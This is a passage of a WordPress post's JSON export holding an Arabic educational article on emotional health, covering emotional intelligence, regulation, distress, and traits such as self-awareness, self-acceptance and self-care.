{"id":59387,"date":"2021-09-06T09:06:29","date_gmt":"2021-09-06T09:06:29","guid":{"rendered":"https:\/\/www.worldofculture2020.com\/?p=59387"},"modified":"2021-09-06T09:06:29","modified_gmt":"2021-09-06T09:06:29","slug":"%d8%a7%d9%84%d8%b5%d8%ad%d8%a9-%d8%a7%d9%84%d8%a7%d9%86%d9%81%d8%b9%d8%a7%d9%84%d9%8a%d8%a9-%d8%aa%d8%b9%d8%b1%d9%8a%d9%81%d9%87%d8%a7-%d9%88%d9%85%d9%84%d8%a7%d9%85%d8%ad%d9%87%d8%a7","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=59387","title":{"rendered":"\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629.. \u062a\u0639\u0631\u064a\u0641\u0647\u0627 \u0648\u0645\u0644\u0627\u0645\u062d\u0647\u0627"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #0000ff;\"><strong>\u062a\u062c\u0645\u064a\u0639 \u0648\u0625\u0639\u062f\u0627\u062f: <\/strong><strong>\u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629 <\/strong><strong>\u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629 &#8211;\u00a0 \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-59388 aligncenter\" src=\"http:\/\/79j.713.mywebsitetransfer.com\/wp-content\/uploads\/2021\/09\/16-2-212x300.jpg\" alt=\"\" width=\"212\" height=\"300\" srcset=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2021\/09\/16-2-212x300.jpg 212w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2021\/09\/16-2.jpg 509w\" sizes=\"(max-width: 212px) 100vw, 212px\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>\u0645\u0627 \u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0628\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629\u061fWhat Is Emotional Health\u061f<\/strong> <\/span>\u00a0\u0623\u062d\u062f \u0627\u0644\u0623\u0633\u0626\u0644\u0629 \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0639\u0644\u0648\u0645 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u062a\u0639\u062f\u062f\u062a \u0628\u0635\u0648\u0631\u0629 \u0634\u062f\u064a\u062f\u0629 \u0627\u0644\u0625\u062c\u0627\u0628\u0627\u062a \u0639\u0646\u0647 \u062a\u0628\u0639\u064b\u0627 \u0644\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0646\u0638\u0631\u064a \u0627\u0644\u0630\u064a \u064a\u0646\u0637\u0644\u0642 \u0645\u0646\u0647 \u0641\u064a \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0645\u0627\u0647\u064a\u0629 &#8220;\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629&#8221; \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629\u060c \u0648\u0631\u063a\u0645 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\u0645\u0643\u0648\u0646\u0627\u062a \u0645\u0631\u0643\u0632\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629\u062a\u062a\u0645\u062b\u0644 \u0641\u064a\u0645\u0627 \u064a\u0644\u064a:<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt; color: #000000;\">(1) \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064aEmotional intelligence.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt; color: #000000;\">(2) \u0636\u0628\u0637 \u0648\u062a\u0646\u0638\u064a\u0645 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0623\u0648 \u0645\u0627 \u0623\u0641\u0636\u0644 \u062a\u0633\u0645\u064a\u062a\u0647 &#8220;\u0627\u0644\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0644\u0644\u0630\u0627\u062a \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629Emotional regulation&#8221;.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt; color: #000000;\">(3) \u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0645\u0648\u062c\u0628Positive affect.<\/span><\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u062c\u062f\u0631 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0623\u064a\u0636\u064b\u0627 \u0625\u0644\u0649 \u0623\u0646\u0647 \u0648\u0631\u063a\u0645 \u0634\u064a\u0648\u0639 \u0645\u0641\u0647\u0648\u0645 &#8220;\u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a emotional wellbeing &#8221; \u0645\u0639 \u062a\u0632\u0627\u064a\u062f \u0627\u0644\u062a\u0648\u062c\u0647 \u0646\u062d\u0648 \u0627\u0644\u062a\u0631\u0648\u064a\u062c \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u060c \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a \u064a\u062a\u0639\u0630\u0631 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\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u060c \u0648\u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0645\u0648\u062c\u0628\u060c \u0648\u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0648\u0642\u062a &#8220;\u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a&#8221;.<\/p>\n<p style=\"text-align: justify;\">\u0645\u0646 \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u064a\u0646\u0628\u063a\u064a \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647 \u0625\u0644\u0649 \u0623\u0646\u0651 &#8220;\u063a\u064a\u0627\u0628 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644&#8221;\u060c \u0644\u0627 \u064a\u0639\u0646\u064a \u0623\u0648 \u0644\u0627 \u064a\u0633\u0627\u0648\u064a &#8220;\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629&#8221;\u060c \u0645\u062b\u0644\u0645\u0627 \u0623\u0646 &#8220;\u0646\u0642\u0635 \u0623\u0648 \u063a\u064a\u0627\u0628 \u0645\u0624\u0634\u0631\u0627\u062a \u0627\u0644\u0645\u0631\u0636 \u0627\u0644\u0646\u0641\u0633\u064a&#8221;\u060c \u0644\u0627 \u064a\u0639\u0646\u064a \u0623\u0648 \u0644\u0627 \u064a\u0633\u0627\u0648\u064a &#8220;\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629&#8221;\u060c \u0648\u0625\u0630 \u062a\u0639\u0648\u062f \u0634\u062e\u0635 \u0645\u0627 \u0639\u0644\u0649 \u0642\u0645\u0639 \u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a\u0647 \u0648\u0645\u0634\u0627\u0639\u0631\u0647 \u062e\u0627\u0635\u0629 \u0641\u064a \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0637\u0641\u0648\u0644\u0629\u060c \u0641\u0625\u0646 \u0645\u0644\u0627\u0645\u062d &#8220;\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629&#8221; \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0648\u062c\u062f \u0644\u062f\u064a\u0647 \u0639\u0644\u0649 \u0627\u0644\u0625\u0637\u0644\u0627\u0642\u060c \u0628\u0644 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u062f\u0627\u0644\u0629 \u0641\u064a \u062c\u0632\u0621\u064d \u0623\u0633\u0627\u0633\u064a \u0645\u0646\u0647\u0627 \u0644\u0645\u0627 \u064a\u0645\u0643\u0646 \u062a\u0633\u0645\u064a\u062a\u0647 &#8220;\u0627\u0644\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0644\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631&#8221; \u0628\u062f\u0644\u0627\u0644\u0629 \u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629 \u062a\u062a\u0645\u062b\u0644 \u0641\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u062d\u0633\u0627\u0633\u064a\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629Emotional sensitivity .<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0641\u0647\u0645 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064aEmotional Understanding .<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0636\u0628\u0637 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064aEmotonal Control .<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0645\u0631\u0627\u0639\u0627\u0629 \u0627\u0644\u0642\u0648\u0627\u0639\u062f \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0644\u0644\u0625\u0638\u0647\u0627\u0631 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a Social Display Rules of Emotional Expressivness.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a \u0627\u0644\u062a\u0643\u064a\u0641\u064a \u0648\u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064aAdaptive &amp; Positive Emotional Expression.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u062d\u064f\u0628\u0644\u0649 \u0639\u0644\u0649 \u0627\u0644\u062f\u0648\u0627\u0645 \u0628\u0633\u0644\u0633\u0644\u0629 \u0644\u0627 \u062a\u0646\u0642\u0637\u0639 \u0645\u0646 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0648\u0627\u0644\u062e\u0628\u0631\u0627\u062a \u0648\u0627\u0644\u0648\u0642\u0627\u0626\u0639 \u0627\u0644\u0645\u0641\u0631\u062d\u0629 \u0648\u0627\u0644\u0645\u062d\u0632\u0646\u0629\u060c \u0634\u0623\u0646\u0647\u0627 \u0634\u0623\u0646 \u0623\u0645\u0648\u0627\u062c \u0627\u0644\u0628\u062d\u0627\u0631 \u0648\u0627\u0644\u0645\u062d\u064a\u0637\u0627\u062a\u060c \u0628\u0645\u0639\u0646\u0649 \u0623\u0646\u0647\u0627 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0644\u0627 \u062a\u0639\u0631\u0641 \u0627\u0644\u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0641\u064a \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u0645\u0646\u0634\u0637\u0629 \u0644\u0646\u0637\u0627\u0642 \u0648\u0627\u0633\u0639 \u0645\u0646 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0628\u062a\u0646\u0627\u0642\u0636\u0627\u062a\u0647\u0627 \u0648\u062a\u0628\u0627\u064a\u0646\u0627\u062a\u0647\u0627 \u0639\u0644\u0649 \u0645\u062f\u0627\u0631 \u0627\u0644\u0633\u0627\u0639\u0629\u060c \u0648\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0633\u0648\u064a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u0623\u0648 \u0645\u0646 \u064a\u062a\u0645\u062a\u0639 \u0628\u0645\u0633\u062a\u0648\u0649 \u0645\u0631\u062a\u0641\u0639 \u0645\u0646 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u0647\u0648 \u0630\u0644\u0643 \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0642\u0627\u062f\u0631 \u0639\u0644\u0649 \u0625\u062f\u0627\u0631\u0629 \u0648\u062a\u0631\u0648\u064a\u0636 \u0630\u0627\u062a\u0647 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u0641\u064a \u0633\u064a\u0627\u0642 \u0647\u0630\u0647 \u0627\u0644\u0645\u0648\u062c\u0627\u062a \u0627\u0644\u0645\u062a\u0642\u0644\u0628\u0629 \u0644\u0644\u0645\u0634\u0627\u0639\u0631 \u0628\u062f\u0648\u0646 \u062a\u0648\u062a\u0631 \u0623\u0648 \u0645\u0634\u0642\u0629 \u0623\u0648 \u0643\u0631\u0628.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0627 \u064a\u0645\u0643\u0646 \u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0639\u0644\u064a\u0647 \u0623\u0646 &#8220;\u0627\u0644\u0643\u0631\u0628 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a Emotional distress \u0623\u0648 \u0627\u0644\u0645\u0634\u0642\u0629 \u0648\u0627\u0644\u0636\u064a\u0642 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a&#8221; \u0643\u062d\u0627\u0644\u0629 \u0645\u0646\u0627\u0642\u0636\u0629 \u0644\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u062a\u0632\u064a\u062f \u0645\u0646 \u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a \u0645\u0639\u0627\u0646\u0627\u0629 \u0627\u0644\u0646\u0627\u0633 \u0645\u0646 \u0627\u0644\u0648\u0642\u0648\u0639 \u0641\u064a \u063a\u064a\u0627\u0628\u0627\u062a \u062c\u0628 \u0627\u0644\u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u062c\u0633\u0645\u0627\u0646\u064a\u0629 \u0641\u064a\u0645\u0627 \u064a\u0639\u0631\u0641 \u0639\u0644\u0649 \u0648\u062c\u0647 \u0627\u0644\u062a\u062d\u062f\u064a\u062f \u0628\u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0633\u064a\u0643\u0648\u0633\u0648\u0645\u0627\u062a\u064a\u0629\u060c \u0628\u0644 \u0648\u062a\u062c\u0639\u0644 \u0627\u0644\u0634\u062e\u0635 \u0623\u0643\u062b\u0631 \u0639\u0631\u0636\u0629 \u0644\u0645\u062e\u0627\u0637\u0631 \u0627\u0644\u0625\u0635\u0627\u0628\u0629 \u0628\u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u0642\u0644\u0628 \u0648\u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u062f\u0648\u0631\u064a\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0625\u0636\u0639\u0627\u0641 \u0643\u0641\u0627\u0621\u0629 \u0648\u0648\u0638\u064a\u0641\u0629 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u062c\u0633\u0645\u064a\u0629(Stewart-Brown, 1998).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0623\u0638\u0647\u0631\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a \u0639\u062f\u064a\u062f\u0629 \u0623\u0646 &#8220;\u0627\u0644\u0645\u0634\u0642\u0629 \u0648\u0627\u0644\u0636\u064a\u0642 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a&#8221; \u0648\u0645\u0627 \u064a\u0635\u0627\u062d\u0628\u0647 \u0645\u0646 \u0627\u062e\u062a\u0644\u0627\u0644 \u0641\u064a \u0627\u0644\u062f\u0648\u0627\u0626\u0631 \u0627\u0644\u0639\u0635\u0628\u064a\u0629 \u0628\u0645\u0627 \u064a\u062a\u0631\u062a\u0628 \u0639\u0644\u0649 \u0630\u0644\u0643 \u0645\u0646 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0641\u064a \u0625\u062a\u064a\u0627\u0646 \u0627\u0644\u0634\u062e\u0635 \u0628\u0633\u0644\u0648\u0643\u064a\u0627\u062a \u0645\u062e\u062a\u0644\u0629 \u0648\u0638\u064a\u0641\u064a\u064b\u0627 \u0648\u0631\u0628\u0645\u0627 \u0648\u0644\u0648\u062c\u0647 \u0641\u064a \u0645\u0633\u0627\u0631 \u0633\u0648\u0621 \u062a\u0639\u0627\u0637\u064a \u0627\u0644\u0645\u0648\u0627\u062f \u0627\u0644\u0645\u062e\u062f\u0631\u0629(Sinha, Lacadie, Skudlarski, &amp; Wexler, 2004).<\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u062a\u0635\u0641 \u0630\u0648\u0648 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u0631\u062a\u0641\u0639 \u0645\u0646 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u0628\u0639\u062f\u062f \u0645\u0646 \u0627\u0644\u062e\u0635\u0627\u0626\u0635 \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644\u0647\u0627 \u0641\u064a\u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0627\u0644\u0648\u0639\u064a \u0628\u0627\u0644\u0630\u0627\u062a<\/strong><em><strong>Self-awareness<\/strong><\/em><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u0639\u062f \u0628\u0627\u0644\u0630\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u064a\u0629 \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u0641\u064a \u0627\u0644\u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0646\u0641\u0633\u064a \u0644\u0630\u0648\u064a \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u0631\u062a\u0641\u0639 \u0645\u0646 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629\u060c \u0641\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0633\u0648\u064a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u064a\u0646\u0638\u0631 \u0625\u0644\u0649 \u0630\u0627\u062a\u0647 \u0648\u0635\u0641\u064b\u0627 \u0648\u062a\u062d\u0644\u064a\u0644\u0627\u064b \u0648\u062a\u062f\u0628\u0631\u064b\u0627\u061b \u0648\u0645\u0646 \u062b\u0645 \u062a\u0641\u0647\u0645\u064b\u0627 \u0644\u0630\u0627\u062a\u0643 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629 \u0648\u0645\u0627 \u064a\u0633\u062a\u062a\u0628\u0639 \u0630\u0644\u0643 \u0645\u0646 \u0625\u0639\u0627\u062f\u0629 \u062a\u0623\u0637\u064a\u0631 \u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a\u0643 \u0648\u0645\u0634\u0627\u0639\u0631\u0643 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0643\u0627\u0646\u062a \u0623\u0645 \u0633\u0644\u0628\u064a\u0629 \u0628\u0635\u0648\u0631\u0629 \u062a\u0645\u0643\u0646\u0643 \u0645\u0646 \u0627\u0633\u062a\u062b\u0645\u0627\u0631\u0647\u0627 \u0641\u064a \u062a\u064a\u0633\u064a\u0631 \u062a\u0641\u0643\u064a\u0631\u0643 \u0648\u062a\u0631\u0634\u064a\u062f \u0623\u0641\u0639\u0627\u0644\u0643. \u0648\u062a\u0631\u062a\u0642\u064a \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u0648\u0639\u064a \u0628\u0627\u0644\u0630\u0627\u062a \u0645\u0646\u0630 \u0627\u0644\u0637\u0641\u0648\u0644\u0629 \u0648\u0634\u0623\u0646\u0647\u0627 \u0634\u0623\u0646\u0647\u0627 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u062c\u0633\u0645 \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u062a\u062f\u0631\u064a\u0628 \u0648\u0645\u062b\u0627\u0628\u0631\u0629 \u0648\u0627\u062c\u062a\u0647\u0627\u062f.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u062a\u0642\u0628\u0644 \u0627\u0644\u0630\u0627\u062a<\/strong><em><strong>self-acceptance<\/strong><\/em><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u0641\u062a\u0631\u0636 \u0623\u0646 \u062a\u0643\u0648\u0646 \u062e\u0627\u0635\u064a\u0629 \u0645\u0642\u062a\u0631\u0646\u0629 \u062a\u0645\u0627\u0645\u064b\u0627 \u0628\u0627\u0644\u0648\u0639\u064a \u0628\u0627\u0644\u0630\u0627\u062a \u0648\u0646\u0627\u062a\u062c\u0629 \u0639\u0646\u0647\u060c \u0641\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0633\u0648\u064a \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 \u064a\u062a\u0642\u0628\u0644 \u0630\u0627\u062a\u0647 \u0628\u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u062a\u064a \u0647\u0648 \u0639\u0644\u064a\u0647\u0627 \u0644\u0627 \u062a\u0645\u0627\u0647\u064a\u064b\u0627 \u0645\u0639\u0647\u0627 \u0648\u0644\u0627 \u0631\u0636\u0627 \u0628\u0645\u0627 \u0628\u0647\u0627 \u0645\u0646 \u0628\u0648\u0627\u0637\u0646 \u0636\u0639\u0641 \u0623\u0648 \u0645\u0638\u0627\u0647\u0631 \u0642\u0635\u0648\u0631 \u0628\u0644 \u0627\u0646\u0637\u0644\u0627\u0642\u064b\u0627 \u0645\u0646\u0647\u0627 \u0644\u062a\u062c\u0648\u064a\u062f \u0645\u0627 \u064a\u0642\u0628\u0644 \u0627\u0644\u062a\u062c\u0648\u064a\u062f \u0648\u062a\u0635\u0648\u064a\u0628 \u0645\u0627 \u064a\u0642\u0628\u0644 \u0627\u0644\u062a\u0635\u0648\u064a\u0628 \u0648\u062a\u0646\u0645\u064a\u0629 \u0648\u062a\u0642\u0648\u064a\u0629 \u0645\u0627 \u064a\u0642\u0628\u0644 \u0627\u0644\u062a\u0646\u0645\u064a\u0629 \u0648\u0627\u0633\u062a\u062b\u0645\u0627\u0631 \u0645\u0643\u0627\u0645\u0646 \u0642\u0648\u062a\u0647 \u0648\u0645\u0638\u0627\u0647\u0631 \u062a\u0645\u064a\u0632\u0639 \u0625\u062b\u0628\u0627\u062a\u064b\u0627 \u0644\u0630\u0627\u062a\u0647 \u0648\u0625\u0639\u0631\u0627\u0628\u064b\u0627 \u0639\u0646 \u0623\u0635\u0627\u0644\u0629 \u0648\u062c\u0648\u062f\u0647\u0627\u060c \u0648\u0628\u062a\u0637\u0628\u064a\u0642 \u0647\u0630\u0627 \u0627\u0644\u0623\u0645\u0631 \u0641\u064a\u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0645\u0627 \u064a\u0639\u062a\u0631\u064a \u0627\u0644\u0634\u062e\u0635 \u0645\u0646 \u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0648\u0645\u0634\u0627\u0639\u0631 \u064a\u0639\u0646\u064a \u0627\u0644\u062a\u0642\u0628\u0644 \u062a\u0639\u0627\u0645\u0644\u0647 \u0645\u0646 \u0627\u0644\u0646\u0637\u0627\u0642 \u0627\u0644\u0648\u0627\u0633\u0639 \u0644\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0633\u0648\u0627\u0621 \u0643\u0627\u0646\u062a \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0623\u0648 \u0633\u0644\u0628\u064a\u0629 \u0648\u064a\u062e\u0637\u0626 \u0645\u0646 \u064a\u062a\u0635\u0648\u0631 \u0623\u0646 \u0644\u064a\u0633 \u0644\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0648\u0638\u064a\u0641\u064a\u0629 \u062a\u0643\u064a\u0641\u064a\u0629\u060c \u0641\u0623\u0646 \u064a\u063a\u0636\u0628 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0639\u0646\u062f\u0645\u0627 \u064a\u0638\u0644\u0645 \u0623\u0648 \u064a\u062a\u0639\u0631\u0636 \u0644\u0644\u0625\u0647\u0627\u0646\u0629 \u0623\u0645\u0631 \u0639\u0627\u062f\u064a \u0648\u0633\u0648\u064a \u0648\u0645\u0646 \u0645\u0644\u0627\u0645\u062d \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0644\u0647\u0630\u0627 \u0627\u0644\u063a\u0636\u0628 \u0628\u0645\u0627 \u064a\u0635\u0648\u0646 \u0643\u0631\u0627\u0645\u0629 \u0627\u0644\u0630\u0627\u062a \u0648\u0644\u0627 \u064a\u0647\u064a\u0646 \u0623\u0648 \u064a\u062c\u0631\u062d \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0648\u0642\u062a\u060c \u0623\u0645\u0627 \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0645\u0639\u062a\u0644 \u0627\u0646\u0641\u0639\u0627\u0644\u064a\u064b\u0627 Emotionall Ill Person \u0647\u0648 \u0645\u0646 \u064a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0627\u0644\u0645\u062b\u064a\u0631\u0629 \u0644\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0628\u0627\u0646\u062f\u0641\u0627\u0639\u064a\u0629 \u0648\u062a\u062f\u0647\u0648\u0631 \u0648\u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u064a \u0631\u062f\u0648\u062f \u0627\u0644\u0623\u0641\u0639\u0627\u0644 \u0627\u0644\u0641\u0648\u0631\u064a\u0629 \u0648\u0627\u0644\u0645\u0628\u0627\u0634\u0631\u0629 \u062f\u0648\u0646 \u062a\u062f\u0628\u0631 \u0641\u064a \u0639\u0648\u0627\u0642\u0628\u0647\u0627 \u0623\u0648 \u0645\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0646\u062c\u0645 \u0639\u0646\u0647\u0627 \u0645\u0646 \u062a\u062f\u0627\u0639\u064a\u0627\u062a \u0633\u0644\u0628\u064a\u0629.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0631\u0639\u0627\u064a\u0629 \u0627\u0644\u0630\u0627\u062a<\/strong><em><strong>self-care<\/strong><\/em><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0641\u0627\u0631\u062a\u0641\u0627\u0639 \u0645\u0633\u062a\u0648\u0649 \u0631\u0639\u0627\u064a\u0629 \u0627\u0644\u0634\u062e\u0635 \u0644\u0630\u0627\u062a\u0647 \u0648\u0627\u0647\u062a\u0645\u0627\u0645\u0647 \u0627\u0644\u0633\u0648\u064a \u0628\u0647\u0627 \u0645\u0624\u0634\u0631\u064b\u0627 \u0623\u0633\u0627\u0633\u064a\u064b\u0627 \u0645\u0646 \u0645\u0624\u0634\u0631\u0627\u062a \u0635\u062d\u062a\u0647 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a\u0629\u060c \u0648\u064a\u0639\u0628\u0631 \u0639\u0646 \u0631\u0639\u0627\u064a\u0629 \u0627\u0644\u0630\u0627\u062a \u0639\u0627\u062f\u0629 \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0627\u0644\u0645\u062c\u0627\u0644 